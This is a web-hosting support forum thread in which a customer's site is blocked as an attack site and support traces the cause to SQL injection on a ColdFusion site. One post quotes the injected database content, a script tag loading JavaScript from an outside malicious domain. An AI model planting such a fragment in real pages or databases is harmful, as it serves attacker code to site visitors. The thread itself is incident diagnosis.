Hello,
Houston we have a problem!
Sorry to post here… but it´s been some time, and client´s pressure is rising, so I thought I should share some of that with you. 
Please visit ticket #NQT-17960-792
Thanks a lot
We´ve been “on hold” for 24 hours now.
Unusual for Jodo´s typical super fast response. I´m starting to worry, as “initially” it´s only a restore and a sub-domain creation which is giving me “internal error” on hsphere.
?(
not sure if you know, but I get this upon trying to open the site:
Reported Attack Site!
This web site at www.URL HERE has been reported as an attack site and has been blocked based on your security preferences.
Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.
Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.
it looks like they had/have some vulnerability in their sites coding that allowed this.
Im not seeing any of that in my browser.
Also tried via megaproxy, so… another browser… another connection… And I see the same thing.
Are you sure we´re talking the same site url?
Perhaps you could post me snap.
As described in the ticket, all I see is the main content going to the bottom of the page. In both browsers and connections.
The issue is indeed inside the database:
<font face="verdana" size="1"><b>Pega Leve!"></title><script src=" http://abc.verynx.cn/w.js "></script><!--</b>
is all over the page code 
just use firefox3, it won’t even let you go to the site at all, even going to ignore it just keeps coming back.
That´s what I thought it was… and beeing the reason why I requested a restore. My idea was to create a www1 register… and put the backup there. If it works I will just make a redirection.
As I mentioned in the ticket, the problem was noted on the 24th. So any backup prior to this date should be a good try.
What do you think?
there is no need to go through all this trouble to do the restore, can simply rename the file and restore it.
Ok Stephen.
Please, could you tell us exactly which file and what to do… on the ticket… so we can advise the developer?
Is it the index page?
thanks a lot
it is all fixed, it was the SQL db(remember I took it off access long ago)
This is the first noted successful SQL injections on a CF based site
using a similar style to the asp/asp.net based ones but the means are slightly different
bahhhh…
Thank you so much Stephen.
I have already notified the developer.
Thanks for the salvation.